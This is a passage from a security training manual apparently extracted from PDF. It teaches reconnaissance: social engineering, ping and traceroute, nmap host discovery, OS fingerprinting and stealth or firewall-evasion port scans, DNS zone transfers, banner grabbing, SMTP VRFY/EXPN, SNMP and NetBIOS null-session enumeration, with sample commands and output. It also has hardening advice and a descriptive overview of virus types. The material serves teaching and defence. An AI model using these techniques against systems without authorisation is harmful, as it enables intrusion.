• The main danger <strong>of</strong> this type <strong>of</strong> referencing is that you can divulge information that is not<br />
destined to the public. Imagine that you experience an installation problem for a specific server<br />
on a given operating system; the hacker will have no trouble knowing the name and the version<br />
<strong>of</strong> your server and your operating system. So you must at all cost avoid disclosing non-essential<br />
information on a place that <strong>of</strong>fers as little security as the web.<br />
• A hacker can also find information through people close to you, by trying to intrude into your<br />
private or pr<strong>of</strong>essional life. Also, you should not forget that it could be someone you know and<br />
that he could know private information about yourself. To avoid any unpleasant surprises, never<br />
use passwords related to your birth date, the names <strong>of</strong> your wife, children or pets, or related to<br />
information about yourself that could be found out.<br />
• Another method that we have already mentioned is the one called social engineering, which<br />
tends to be under-rated. The idea is to use any communication medium (telephone, email,...), or<br />
even for the person to physically present himself, to present a fake identity in order to obtain<br />
confidential information. A common technique used by web mail, for example, is to send an email<br />
seeming to come from one's administrator and using the excuse <strong>of</strong> a server breakdown to ask<br />
you to register again and asking for a login and password; these will then be sent to the hacker.<br />
So you must assume that in no case a body or company where you have an account will ever<br />
ask you for your password; at the most, it will ask for your login.<br />
The <strong>Hack</strong>ademy DMP -23/209- SYSDREAM
A company<br />
• For obvious promotional reasons, your company is perhaps present on the web. This can be a<br />
further source <strong>of</strong> information for the attacker if you do not filter the information broadcast on it.<br />
• The status <strong>of</strong> your company, the name <strong>of</strong> employees and their email addresses, the name and<br />
address <strong>of</strong> the webmaster in the webpages code sources, non-secured links to elements not<br />
destined to the public... These are all informations that your hacker will be more than happy to<br />
recover.<br />
• Furthermore, there are <strong>of</strong>ten cases where the login/password pairs are related to name/given<br />
name pairs. If this information is present on the site, our hacker could try the total number <strong>of</strong><br />
possible combinations by conceiving a list <strong>of</strong> likely logins/passwords obtained on the site.<br />
After having obtained a certain number <strong>of</strong> informations on the target system, the hacker will move on<br />
to more technical operations, which must be done on the system, so as to later elaborate an attack<br />
strategy.<br />
C) Technical Information<br />
The very first step for a hacker will always be to obtain your system's ip address, in order to be able to<br />
communicate with it. The Ping function can be used to check that the system is active on the network.<br />
The machine that sends a ¨ping¨ to another one expects an echo from its call to ensure that it is<br />
indeed available. The PING message must follow the normal IP routing through the gateways and<br />
routers... For this, it uses the ICMP protocol encapsulated in the IP packet. The return <strong>of</strong> a PING<br />
(ICMP REPLY) generally gives the time taken by the message to do a round trip (RTT = round trip<br />
time) to the destination.<br />
There are several versions <strong>of</strong> PING, and these are more or less complex. The “CODE” field <strong>of</strong> the<br />
ICMP message can give information on the results <strong>of</strong> the test: Network unavailable... Machine<br />
unavailable... Routing failure... Etc.<br />
Ping integrates several functions. To visualise all <strong>of</strong> them, type “ping” in DOS. Among the various<br />
functions <strong>of</strong> ping, these can be highlighted:<br />
1. The “-t” option, which sends ICMP_echo_request packets over and over again, until<br />
the user interrupts with a “break” (CTRL+C), e.g. ping -t [IP address]<br />
2. The “-a” option, which is used to replace an IP address with a host name, e.g. ping -a [IP<br />
address]<br />
3. The “-n” option, which is used to send a specific number <strong>of</strong> ICMP_echo_request packages,<br />
e.g. ping -n 8 [IP address]<br />
4. The “-l” option, which can specify the size <strong>of</strong> the request to send, e.g. ping -l 64 [IP<br />
address]<br />
5. The “-i” option, which can impose a basic time to live (TTL), between 1 and 255, e.g. ping -i<br />
145 [IP address]<br />
6. And in some cases the “-w” option, which can specify the waiting time for echo_reply<br />
packets (“timeout”), e.g. ping -w 999 [IP address]<br />
The <strong>Hack</strong>ademy DMP -24/209- SYSDREAM
In the answer field you will find:<br />
• the size <strong>of</strong> the packet you have sent, in bytes;<br />
• the answering delay <strong>of</strong> the target system, in milliseconds;<br />
• and the amount <strong>of</strong> TTL when the packet has arrived at destination.<br />
Four ICMP_echo_request requests are sent during a common use <strong>of</strong> Ping, in order to be sure <strong>of</strong> the<br />
results.<br />
The tracert command<br />
Tracing the route taken by a packet to go from a point A to a point B can be useful; for example to<br />
determine which geographical zones it crosses, or the last router taken to send data. To do this, you<br />
will use the Tracert tool on your system.<br />
Tracert is the abbreviation <strong>of</strong> “Trace Route”. The aim <strong>of</strong> this s<strong>of</strong>tware is to highlight the path followed<br />
by a data packet to reach a precise location <strong>of</strong> a network. It can be used the check how a network is<br />
performing, to check where congestion points are located or to pinpoint infrastructure problems.<br />
The s<strong>of</strong>tware creates a packet with the source and destination address and the amount <strong>of</strong> TTL time to<br />
live (number <strong>of</strong> gateways crossed) equal to “1”. This packet will stop at the first router it encounters.<br />
The latter will send an ICMP error message (time exceeded) with its address as a “source” and the<br />
broadcaster's “source” address. The “traceroute” s<strong>of</strong>tware will save this information and create a new<br />
packet like the first one, but with a TTL <strong>of</strong> “2”. Crossing the first router will put TTL to “1”. The packet<br />
will therefore die on the second router. As previously, router number 2 will send an ICMP error<br />
message with its address, which will be memorised by “traceroute”... And so on and so forth until the<br />
destination.<br />
The <strong>Hack</strong>ademy DMP -25/209- SYSDREAM
Use the Tracert tool <strong>of</strong><br />
your system.<br />
Tracert integrates various functions. To visualise them all, type “tracert” in DOS. Three <strong>of</strong> these<br />
functions can be essential.<br />
1. The “-d” option prevents the conversion <strong>of</strong> the IP addresses <strong>of</strong> the machines that relay the<br />
host names, e.g. tracert -d [IP address]<br />
2. The “-h” option can specify the maximum number <strong>of</strong> relays, i.e. the maximum number <strong>of</strong><br />
relay points, e.g. tracert -h 45 [IP address]<br />
3. The “-w” option, which can specify a timeout or a delay after which the process is aborted,<br />
specific to the resolution <strong>of</strong> each host, e.g. tracert -w 999 [IP address]<br />
In the results table, you will find a classification <strong>of</strong> data relay systems. The delays in milliseconds show<br />
the amount <strong>of</strong> time that was needed to contact each relay system, knowing that each trial is done<br />
three times. In the last column appear the host names <strong>of</strong> the relay systems, with their translation into<br />
IP addresses. Train yourselves to find the information given in host names and in a traceroute.<br />
2. Network machines listing<br />
A) Network Mapping<br />
The idea is to list all the machines present on the network, via ICMP requests (ping) on all IPs <strong>of</strong> a<br />
determined range, in order to have a complete picture <strong>of</strong> which machines are activated. This technique<br />
can be done manually with a scan tool <strong>of</strong> nmap type, which can be used in the shell (with Windows<br />
and Linux):<br />
The <strong>Hack</strong>ademy DMP -26/209- SYSDREAM
nmap -sP 192.168.124.0/24<br />
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-05-18 20:26<br />
CEST<br />
Host 192.168.124.1 appears to be up.<br />
Host 192.168.124.2 appears to be up.<br />
Host 192.168.124.10 appears to be up.<br />
Host 192.168.124.12 appears to be up.<br />
Host 192.168.124.15 appears to be up.<br />
Host Dantes (192.168.124.20) appears to be up.<br />
Nmap run completed -- 256 IP addresses (6 hosts up) scanned in 7.195<br />
seconds<br />
Graphic utilities can be used to do the same type <strong>of</strong> operation:<br />
What's up gold:<br />
B) Zone Transfer<br />
All domains are associated to a DNS server, hosted either on the network itself, or externally. The role<br />
<strong>of</strong> this service is to send back to a client an IP address associated with a host name. The zone transfer<br />
asks the DNS server to list all entries related to a specific domain. This is generally used by secondary<br />
name servers to update their entries. If the consultation <strong>of</strong> these entries is not limited to the secondary<br />
server, a hacker can list a domain's entries. The network can then be mapped, without the intruder<br />
having to independently ping each machine.<br />
The nslookup utility, present on both Linux and Windows, can carry out this operation.<br />
The <strong>Hack</strong>ademy DMP -27/209- SYSDREAM
With Linux, the host utility can be used in the shell:<br />
xdream@Laptop:~$ host -l domain server_DNS<br />
Using domain server:<br />
Name: i.fi<br />
Address: 212.16.X.X#53<br />
Aliases:<br />
i.fi SOA ns.i.fi. hostmaster.i.fi. 1084863621 28800 7200 604800 86400<br />
i.fi name server ns.i.fi.<br />
i.fi name server ns1.etworks.net.<br />
i.fi name server ns2.i.fi.<br />
i.fi name server ns2.etworks.net.<br />
i.fi has address 212.16.x.x<br />
....<br />
zuge.i.fi RP zuge.i.fi. .<br />
i.fi SOA ns.i.fi. hostmaster.i.fi. 1084863621 28800 7200 604800 86400<br />
<strong>Security</strong><br />
It is however possible to limit this zone transfer, which in Windows is authorised by default,<br />
towards any server. To do this, launch the MMC utility under \Services and Applications\DNS\<br />
[server]\Forward Lookup Zone\[Zone Name] | <strong>Pro</strong>perties, select the option Only to the Following<br />
Servers, and give your backup server's ip address. It is also possible to completely deactivate<br />
this zone transfer if you believe you do not need it, by deselecting the option “Allow Zone<br />
Transfer”.<br />
The <strong>Hack</strong>ademy DMP -28/209- SYSDREAM
C) Fingerprinting the system<br />
The nmap scanner has an active fingerprinting option:<br />
nmap -O 192.168.124.20<br />
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-05-18 22:02<br />
CEST<br />
Interesting ports on Dantes (192.168.124.20):<br />
(The 1648 ports scanned but not shown below are in state: closed)<br />
PORT STATE SERVICE<br />
...<br />
Device type: general purpose<br />
Running: Linux 2.4.X|2.5.X<br />
OS details: Linux Kernel 2.4.0 - 2.5.20<br />
Uptime 19.098 days (since Thu Apr 29 19:41:12 2004)<br />
Nmap run completed -- 1 IP address (1 host up) scanned in 5.626 seconds<br />
With Linux:<br />
Laptop:/home/xdream# p0f<br />
p0f - passive os fingerprinting utility, version 2.0.2<br />
(C) M. Zalewski , W. Stearns <br />
p0f: listening (SYN) on 'wlan0', 193 sigs (9 generic), rule: 'all'.<br />
192.168.124.12:35657 - Linux 2.4/2.6 (up: 85 hrs)<br />
-> 192.168.124.20:80 (distance 0, link: ethernet/modem)<br />
192.168.124.12:35658 - Linux 2.4/2.6 (up: 85 hrs)<br />
-> 192.168.124.20:80 (distance 0, link: ethernet/modem)<br />
D) Port scanning<br />
All open ports <strong>of</strong> the target system are listed to deduce the active services accessible by the attacking<br />
machine. Some ports are generally associated to some standard services:<br />
Port <strong>Pro</strong>tocol Associated<br />
Service<br />
21 TCP FTP<br />
22 TCP SSH<br />
23 TCP Telnet<br />
25 TCP SMTP<br />
53 UDP DNS<br />
80 TCP HTTP<br />
110 TCP POP3<br />
111 TCP Portmapper<br />
139 TCP Netbios<br />
443 TCP HTTPS<br />
2049 UDP NFS<br />
The <strong>Hack</strong>ademy DMP -29/209- SYSDREAM
It is however important to note that the fact that a port is open does not always imply that the active<br />
service is the one that is normally associated to it: It is entirely possible to open another service than a<br />
web server on port 80, as it is possible to have a web server running on another port than port 80. A<br />
manual analysis, detailed below, will thus be necessary to associate a port to an appliance.<br />
Several scanning methods can be used. We will use nmap (in Windows and Linux) for this exercise:<br />
• The connect() mode: Nmap will deduce that a port is open if the connection is completely<br />
established with a port.<br />
• The syn scan: If a SYN/ACK packet is received after a SYN packet is sent, Nmap deduces, as in<br />
connect mode, that the port is open. In order to bypass the old IDS, which detected a scan only if<br />
communications were entirely established, Nmap does not finalize the connection with the<br />
sending <strong>of</strong> an ACK packet. This mode is used by default.<br />
Other options are used, in certain cases, in order to bypass some <strong>of</strong> the filtering rules<br />
• The FIN scan: A FIN packet is sent to each port. If an RST is sent back, this means that the port<br />
is closed; if no answer is sent back, Nmap deduces that the port is open.<br />
• XMAS: Xmas sends FIN packets by activating URG and PSH flags.<br />
• The NULL scan: All flags are deactivated.<br />
Several other nmap options can also be useful:<br />
-F Only the standard ports specified in the service file are scanned instead <strong>of</strong> all 65,535<br />
-P0 Nmap sends an ICMP echo type request before scanning in order to know if the<br />
destination machine is up. In some cases, the ICMP protocol is filtered, and the host<br />
will not be considered as reachable. This option can deactivate the use <strong>of</strong> this<br />
preliminary request in order to scan directly (without knowing if the host is<br />
reachable).<br />
-sU Can scan a UDP port.<br />
-p Can specify precise ports (p1, p2, p3...) or lists <strong>of</strong> ports (p1-p2) to scan instead <strong>of</strong> all<br />
existing 65,535.<br />
-T Can modify the time between two sent packets. The possible values are<br />
Paranoid | Sneaky | Polite | Normal | Aggressive | Insane<br />
The <strong>Hack</strong>ademy DMP -30/209- SYSDREAM
It is also possible to specify several hosts to scan using the following notation in the target:<br />
192.168.0-255.1-254 All machines from 192.168.0.1 to 192.168.255.254<br />
192.168.124.0/24 All machines <strong>of</strong> the C class network designated by the network<br />
address<br />
192.168.124.0 All IPs from 192.168.124.1 to 192.168.124.255<br />
Here are the results <strong>of</strong> a standard scan:<br />
nmap 192.168.124.20<br />
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-05-18 23:55<br />
CEST<br />
Interesting ports on Dantes (192.168.124.20):<br />
(The 1648 ports scanned but not shown below are in state: closed)<br />
PORT STATE SERVICE<br />
21/tcp open ftp<br />
22/tcp open ssh<br />
80/tcp open http<br />
111/tcp open rpcbind<br />
139/tcp open netbios-ssn<br />
443/tcp open https<br />
864/tcp open unknown<br />
875/tcp open unknown<br />
899/tcp open unknown<br />
1024/tcp open kdm<br />
2049/tcp open nfs<br />
Nmap run completed -- 1 IP address (1 host up) scanned in 1.006 seconds<br />
E) Listing <strong>of</strong> services<br />
Once the list <strong>of</strong> open ports is established, the hacker will have to positively identify the services<br />
associated to each port, as well as their versions. Several techniques can be used:<br />
Banner Grab<br />
Telnet (Telecommunications Network) enables a client machine to be connected to a shell on a<br />
remote server. Telnet clients appear on virtually all platforms (Windows, Unix, MacOS, BeOS…). It<br />
allows a TCP connection on any port <strong>of</strong> a remote machine.<br />
Open telnet :<br />
1. Click on “Start”.<br />
2. Then on “Execute”.<br />
3. Type “telnet” and validate.<br />
4. Click on “Connection”, then on “Distant System”.<br />
5. In the window, indicate a host name or an IP address to connect to the remote system. Then,<br />
open a port number.<br />
The <strong>Hack</strong>ademy DMP -31/209- SYSDREAM
By connecting yourself to the various server applications a system carries out, you can find out plenty<br />
<strong>of</strong> information about the system. The following appendix gives a short description <strong>of</strong> how you can<br />
gather information on these services:<br />
• FTP<br />
• SMTP<br />
• HTTP<br />
• SNMP<br />
• Telnet<br />
Systems or services are <strong>of</strong>ten self-presented through “banners”. The vast majority <strong>of</strong> systems do not<br />
have a proper configuration. After a quick look at the service's type and version, a hacker will be able<br />
to determine what the operating system is and in what way this version is vulnerable.<br />
The highlighting <strong>of</strong> the activity <strong>of</strong> certain ports can reveal information on the type <strong>of</strong> remote system<br />
such as ports 135 to 140 (Windows NetBIOS service), 111 (SunRPC on SUN stations)...<br />
FTP : Files Transfer <strong>Pro</strong>tocol<br />
FTP is a file exchange protocol between two systems. As for all services, an A machine must be<br />
equipped with an ftp client, and a B machine with an FTP server. Conventionally, the TCP protocol<br />
uses the TCP/21 port for commands, and the TCP/20 port for data. The TCP/21 port is called <strong>Pro</strong>tocol<br />
Interpreter or PI, and the TCP/20 port is called the Data Transfer <strong>Pro</strong>cess or DTP.<br />
Connect yourself to the target FTP service, on port 21. See what information the banner gives you, if<br />
there is any.<br />
Note: An “Anonymous” session is one that is managed by the administrator and where anyone can<br />
benefit from the server's FTP service (to download files on the server, for example). The logins used in<br />
this type <strong>of</strong> authentication are ftp or anonymous, associated to any email address as a password.<br />
The configuration <strong>of</strong> some FTP services, which leave an access possibility to anonymous sessions,<br />
can be so disastrous that some websites allow access to the “passwd” file (“/etc/passwd” tree on a<br />
Linux system, this file contains all active logins on the machine), or the site's complete tree, or even<br />
lists with writing access (where anyone can generally send files).<br />
With Internet Explorer, the “browsing” <strong>of</strong> the lists shows lists typical <strong>of</strong> UNIX type systems. It has to be<br />
checked that this is really the case. Open an FTP session via telnet and connect yourself as<br />
Anonymous.<br />
You can connect yourself with telnet to an ftp server if you follow the format <strong>of</strong> this protocol:<br />
1. USER Anonymous [to enter as Anonymous].<br />
2. PASS thingy@thing.com [You will usually have to give your email address as password]<br />
After this, you will be advancing blindly, especially if you do not know the system. The commands that<br />
you can save are generally listed with the command help or ?.<br />
The <strong>Hack</strong>ademy DMP -32/209- SYSDREAM
SMTP : Simple Mail Transfer <strong>Pro</strong>tocol<br />
The SMTP protocol can transfer emails. It is generally implemented on the TCP/25 port.<br />
As for all other services, an SMTP service can reveal information through its banner. The most<br />
interesting thing, however, is the non-necessary integration <strong>of</strong> two commands specific to the SMTP<br />
service: “vrfy” and “expn”. To check if they are accessible, click “help”.<br />
• VRFY : the aim <strong>of</strong> this command is to check whether an email address exists at the requested<br />
server address. If you connect yourself to an SMTP service, and send the command “VRFY<br />
admin”, a positive answer will indicate that there is an “admin” login on the system.<br />
• EXPN : this command can check the existence <strong>of</strong> aliases within a system for any given account.<br />
An alias allows a natural person to have several email addresses and can be a good information<br />
source.<br />
In the example below, the hacker has managed to obtain information on someone's identity and on<br />
aliases for “root” (most likely addresses related to other administrator systems).<br />
The <strong>Hack</strong>ademy DMP -33/209- SYSDREAM
HTTP<br />
HTTP service is accessible via port 80. Several commands can obtain further information on the<br />
system. The procedure is to first send a valid command and then to press ENTER again to validate<br />
once more.<br />
Example :<br />
1. Connect to www.micros<strong>of</strong>t.com (telnet www.micros<strong>of</strong>t.com 80).<br />
2. Enter the command : OPTIONS / HTTP/1.0 .<br />
3. Validate by pressing ENTER, then validate again.<br />
4. The information contained in P3P (“Platform for Privacy Preferences”) designates the<br />
information collected on the users. Please refer to http://www.w3.org/TR/P3P/ to know more<br />
about the P3P system.<br />
The information gathered can specify the web server's version, the operating system, the various<br />
modules installed on it (php, cgi ...) as well as the various commands that can be sent to the server.<br />
Please note that you should normally be disconnected from the system after each command.<br />
The <strong>Hack</strong>ademy DMP -34/209- SYSDREAM
SNMP : Simple Network Management <strong>Pro</strong>tocol<br />
SNMP is a network equipment management protocol that allows the administrator to ask its equipment<br />
to gather information. In our example, we have found four equipments on our network which figured in<br />
the “public” community string, which means that anyone can have access to the information that the<br />
equipments send back.<br />
On the Internet, you can find the tools that can make these requests automatic.<br />
http://www.solarwinds.net/<br />
Note: the “public” community string is generally the value given by default to a machine running an<br />
SNMP agent. It is up to the administrator to modify its configuration. The opposite <strong>of</strong> a public string is<br />
a “private” string. This one does not authorise the delivering <strong>of</strong> any information to the general public.<br />
TELNET<br />
This service, which enables a remote access to a shell on the system, is generally restricted by a<br />
compulsory identification with login and password. The banner on the system can however be useful.<br />
Use telnet to connect yourself. By default, you are connected to port 23, so it is not necessary to<br />
specify any port.<br />
The <strong>Hack</strong>ademy DMP -35/209- SYSDREAM
F) Netbios Listing<br />
On many Windows machines, either for the needs <strong>of</strong> the user or by default, the file-sharing services<br />
with the NetBIOS protocol are very <strong>of</strong>ten activated. If the remote machine is badly configurated, this<br />
protocol can gather information on the system: name <strong>of</strong> the machine, its domain, its current shares,<br />
etc. Several fingerprintings are possible.<br />
NetBIOS Shares<br />
Thanks to the NetShareEnum call, it is possible to list the current shares on a machine. On some<br />
systems, entire hard drives are shared without their users realising it.<br />
NULL Session Method<br />
Null sessions are used when a machine wants to have access to the information <strong>of</strong> another machine<br />
without belonging to its domain or its working group. In the register base <strong>of</strong> the target machine, the key<br />
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] containing the<br />
“restrictanonymous” value determines or does not determine the possibility to establish anonymous<br />
sessions. To restrict access, all that has to be done is to specify a value <strong>of</strong> 2:<br />
"restrictanonymous"=dword:00000002.<br />
Winfingerprint (http://winfingerprint.sourceforge.net) is a Windows machines' fingerprinting tool<br />
carrying out NetBIOS resolution methods on top <strong>of</strong> alternative methods.<br />
The <strong>Hack</strong>ademy DMP -36/209- SYSDREAM
Here is a scan report obtained with the help <strong>of</strong> Winfingerprint on a share:<br />
Host Information:<br />
139 tcp Open<br />
Domain: MSHOME<br />
NetBIOS ABAMA<br />
MAC Address: 0007cb0000ff<br />
Domain: MSHOME<br />
NetBIOS ABAMA<br />
MAC Address: 0007cb0000ff<br />
Fingerprint:<br />
Role: NT Workstation<br />
Role: LAN Manager Workstation<br />
Role: LAN Manager Server<br />
Role: Server sharing print queue<br />
Role: Potential Browser<br />
Role: Master Browser<br />
Version: 5.1<br />
Comment: room computer<br />
NetBIOS Shares:<br />
(...)<br />
Name: \\82.X.X.X\Printer Remark: Canon Bubble-Jet BJC-3000<br />
Type: Interprocess communication (IPC)<br />
Name: \\82.X.X.X\D Remark:<br />
Accessible without password.<br />
Name: \\82.X.X.X\C Remark:<br />
Accessible without password.<br />
The <strong>Hack</strong>ademy DMP -37/209- SYSDREAM
G) Applicative Fingerprinting<br />
Even if it is possible to de-activate some services' banners, each service implementation has its own<br />
characteristics (error codes ...). By comparing the answers received to a database <strong>of</strong> standard service<br />
digital signatures, it is possible to determine the version. This technique can be used with the -A option<br />
<strong>of</strong> nmap (only on Linux):<br />
Laptop:/home/xdream# nmap -A 192.168.124.20<br />
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-05-19 00:14 CEST<br />
Interesting ports on Dantes (192.168.124.20):<br />
(The 1648 ports scanned but not shown below are in state: closed)<br />
PORT STATE SERVICE VERSION<br />
21/tcp open ftp vsFTPd 1.2.1<br />
22/tcp open ssh OpenSSH 3.4p1 (protocol 2.0)<br />
80/tcp open http Apache httpd 1.3.29 ((Debian GNU/Linux))<br />
111/tcp open rpcbind 2 (rpc #100000)<br />
139/tcp open netbios-ssn Samba smbd (workgroup: DgSWORKGROUP)<br />
443/tcp open ssl/http Apache httpd 1.3.29 (Ben-SSL/1.53 (Debian GNU/Linux)<br />
PHP/4.3.4)<br />
864/tcp open ypserv 1-2 (rpc #100004)<br />
875/tcp open ypbind 1-2 (rpc #100007)<br />
899/tcp open mountd 1-2 (rpc #100005)<br />
1024/tcp open status 1 (rpc #100024)<br />
2049/tcp open nfs 2 (rpc #100003)<br />
H) Listing <strong>of</strong> firewalling rules<br />
Errors in implemented filtering rules can result in an intruder establishing contact in a trivial way with<br />
Internet systems.<br />
Filtering by trust relation:<br />
The majority <strong>of</strong> filtering rules are implemented according to authorisations given to certain specific<br />
machines. You can try to determine the trusted IP addresses, if these do exist, by using idle host<br />
scanning techniques we will study later on in this training course.<br />
Filtering by protocol:<br />
Some protocols are not forbidden, such as ICMP, UDP ... They can represent a danger because they<br />
can encapsulate communications with backdoors installed by the hacker. These techniques are<br />
designated by the term covert channel. You can determine which protocols are authorised thanks to<br />
nmap's -sO option:<br />
The <strong>Hack</strong>ademy DMP -38/209- SYSDREAM
# nmap 3.50 scan initiated Wed May 5 09:53:23 2004 as: nmap -sO -v<br />
192.168.124.20<br />
Interesting protocols on domain.com):<br />
PROTOCOL STATE SERVICE<br />
0 open hopopt<br />
1 open icmp<br />
2 open igmp<br />
3 open ggp<br />
4 open ip<br />
5 open st<br />
6 open tcp<br />
7 open cbt<br />
8 open egp<br />
9 open igp<br />
10 open bbn-rcc-mon<br />
11 open nvp-ii<br />
12 open pup<br />
13 open argus<br />
14 open emcon<br />
15 open xnet<br />
16 open chaos<br />
17 open udp<br />
18 open mux<br />
19 open dcn-meas<br />
20 open hmp<br />
21 open prm<br />
22 open xns-idp<br />
...<br />
Filtering by source port<br />
Frequently, filtering rules associated to port sources are found in order to let internal machines<br />
establish a communication on the Internet. For example, to let users surf on the web, answers coming<br />
from port 80 must be accepted. That is also the case for entering DNS answers. So the ports <strong>of</strong>ten<br />
authorised in source are 25/tcp, 53/udp, 80/tcp, 110/tcp. So it is then possible for a hacker to ignore<br />
the access restrictions by establishing connections from the authorised source ports. You can use the<br />
-g option associated to a source port and to a protocol (tcp in standard, -sU for udp) in order to<br />
determine the firewalling rules according to source ports.<br />
The <strong>Hack</strong>ademy DMP -39/209- SYSDREAM
Here is a sum up <strong>of</strong> all the functions that can be given to nmap:<br />
-sS Syn scanning<br />
-sT Connect() Method<br />
-sF, -sX, -sN Finscan, Xmas scan, NULL scan...<br />
-sP ping scanning<br />
-sU Scanning in UDP mode<br />
-sO Scanning <strong>of</strong> authorised protocols<br />
-sA ACK scan<br />
-sW Window scanning<br />
-sR RPC scan<br />
-P0 De-activate the ping before the port scan<br />
-O Active fingerprinting<br />
-A Appliance fingerprinting<br />
-v Verbose mode<br />
-oN file Write the output in its specific file.<br />
-p port Specification <strong>of</strong> particular ports or <strong>of</strong> port range to scan<br />
-F Scan <strong>of</strong> ports listed in the services file<br />
-g port Use the specifier port as communication source port.<br />
<strong>Security</strong><br />
Most <strong>of</strong> the information gathered being either public or linked to the functioning <strong>of</strong> infrastructure<br />
or to accessible services, it is essential to establish a real security management policy<br />
concerning broadcast or accessible information.<br />
Give as little information as possible concerning your IT infrastructure, and check that no<br />
sensitive information can be accessible via web-type access (especially in source codes...)<br />
Each user must also be careful about any information he or she could leak, especially on<br />
forums, in newsgroups or interviews.<br />
De-activate services that are not useful, as each service represents an extra danger.<br />
Correctly implement your firewalling rules, so that internal services, especially <strong>of</strong> the filesharing<br />
type, are not accessible from the Internet.<br />
Filter the ICMP protocol, as it can give precious technical information to a possible intruder.<br />
Modify the banners <strong>of</strong> all services, by replacing them with banners <strong>of</strong> other equivalent<br />
services in order to fake the hacker's results.<br />
As much as possible, make sure you do not allow free access to Netbios file-sharing services<br />
from the Internet.<br />
The <strong>Hack</strong>ademy DMP -40/209- SYSDREAM
CHAPTER II<br />
CLIENT VULNERABILITIES<br />
The <strong>Hack</strong>ademy DMP -41/209- SYSDREAM
1.Virus attack<br />
Even with a massive anti-virus protection, no one is ever immune to an attack from a recent or non<br />
referenced virus. The best course <strong>of</strong> action is to be wary <strong>of</strong> the following symptoms. These are not<br />
necessarily caused by a virus but that is frequently the case. A deeper examination will then be<br />
necessary, and it is recommended you go to the next chapter, which concerns viruses:<br />
1. The antivirus protection <strong>of</strong> BIOS informs you <strong>of</strong> an access to the boot zone <strong>of</strong> the hard<br />
drive.<br />
2. When you start your computer, a message tells you it cannot start from the hard drive.<br />
3. Windows refuses to load the 32-bit hard drive pilots.<br />
4. When Windows is started, a message informs you that a TSR program is forcing to start in<br />
MS-DOS compatible mode.<br />
5. ScanDisk detects crossed-link files or other problems.<br />
6. ScanDisk indicates defective sectors on the hard drives or floppy disks.<br />
7. The size <strong>of</strong> executable files suddenly increases.<br />
8. The creation or modification date <strong>of</strong> files has errors.<br />
9. You notice the computer frequently stalls even though you have added no new s<strong>of</strong>tware or<br />
material component.<br />
10. The computer stalls and indicates a parity error.<br />
11. The computer seems to be slower for no apparent reason.<br />
12. The keyboard and mouse are no longer reliable, even after having being cleaned.<br />
13. Files disappear from your computer in an unexplained manner.<br />
14. In your documents, some words disappear while others are suddenly added.<br />
Let us now see the action modes <strong>of</strong> the most dangerous viruses according to their type. You will<br />
recognise some <strong>of</strong> the names used (polymorphic viruses, macro-viruses ...) and you will also realise<br />
there are many more. The following paragraphs lists all types <strong>of</strong> viruses.<br />
Boot sector viruses: These viruses settle in the boot sector <strong>of</strong> boot floppy disks and hard drives. Only<br />
a few years ago, these were the most common variety. Back then, they would spread rapidly because<br />
users <strong>of</strong>ten exchanged data with floppy disks. Now that the size <strong>of</strong> applications and <strong>of</strong> files has<br />
considerably increased, mediums such as CD-ROMs are much more widely used. Meanwhile, other<br />
contamination means such as the Internet have been developed, and at the same time boot sector<br />
viruses have lost ground. All danger has not disappeared, however. Viruses <strong>of</strong> this type almost<br />
exclusively use floppy disks as a dissemination medium: all that has to be done is to insert a boot<br />
floppy disk into an infected PC drive to contaminate it, the disk then transmits the virus to each<br />
computer using it to boot. When you forget such a medium in the drive, the computer uses it to boot<br />
the following time instead <strong>of</strong> favouring the hard drive. The virus is then immediately transmitted to the<br />
disk. They cannot be disseminated on networks. Boot sector viruses are resident parasites, meaning<br />
that they settle in live memory at the start and wait for an opportunity to spread.<br />
Partition sector viruses: Partition sector viruses are a development <strong>of</strong> boot sector viruses. They can<br />
bypass an obstacle that the latter encounter: the structure <strong>of</strong> the boot sector depends on the operating<br />
system. There are differences between the various versions <strong>of</strong> DOS and Windows. A boot sector virus<br />
that wants to disseminate widely must distinguish structures and adapt to them. The resulting code is<br />
important as the size <strong>of</strong> the boot sector only <strong>of</strong>fers limited space. Partition sector viruses do not have<br />
to deal with this problem as the structure <strong>of</strong> the sector they settle into does not depend on the<br />
operating system. The infection is disseminated almost exclusively through floppy disks. So the<br />
previous remarks concerning boot sector viruses also apply here: a disk forgotten in the drive is <strong>of</strong>ten<br />
the cause <strong>of</strong> the infection. Partition sector viruses, like boot sector ones, are resident parasites,<br />
meaning that they settle in live memory during booting and wait for an opportunity to spread.<br />
The <strong>Hack</strong>ademy DMP -42/209- SYSDREAM
File viruses: These viruses attack .com and .exe executable files, and more rarely .dll and .ovl files. A<br />
programme virus attaches itself to a program file (the host) and uses various techniques to infect other<br />
programme files. There are three basic techniques to infect an executable file: replacement, adding at<br />
the start and adding a return.<br />
➢ A virus based on replacement places itself at the start <strong>of</strong> the program, right at the start <strong>of</strong> the<br />
original program code, thus damaging the program. When you try to start it, nothing happens,<br />
however the virus infects another file. Such viruses are easily detected by users and by<br />
technical staff, therefore they do not disseminate widely. There is very little risk a virus <strong>of</strong> this<br />
type might find its way to your machine.<br />
➢ A virus based on adding at the start puts its entire code at the very beginning <strong>of</strong> the original<br />
program. When you start a program infected with this type <strong>of</strong> virus, this code is started first<br />
and the original program is started but the size <strong>of</strong> the infected file will <strong>of</strong> course increase.<br />
➢ A virus based on adding a return places a “return” at the start <strong>of</strong> the program code, then<br />
places the start <strong>of</strong> the program code at the end <strong>of</strong> the file and then places itself between what<br />
was the end <strong>of</strong> the file and the start <strong>of</strong> the file. When you try to start the program, the “return”<br />
calls the virus, which then starts. It replaces the original start <strong>of</strong> the file in its normal position<br />
and enables you to start the program. An increase <strong>of</strong> the size <strong>of</strong> the file is however noticeable.<br />
We have just seen briefly how a virus attaches itself to a program file. It uses various infection<br />
techniques. Most viruses are resident ones, meaning that they can control all actions and infect other<br />
programs. Other file viruses infect by “direct action”, which means that they infect a program when they<br />
have access to it.<br />
There are many other methods, but in most cases, these place the viruses in memory. If the virus is a<br />
resident one, it is then extremely easy for it to infect other programs, simply by waiting for these to be<br />
started to enter them. This file is then infected (it becomes a “carrier”) and goes on to infect other<br />
programs. Once activated, they can contaminate other executables and spread. Like executable files<br />
in your hard drive, these viruses can be found on floppy disks, CD-ROM, attached to email, or in files<br />
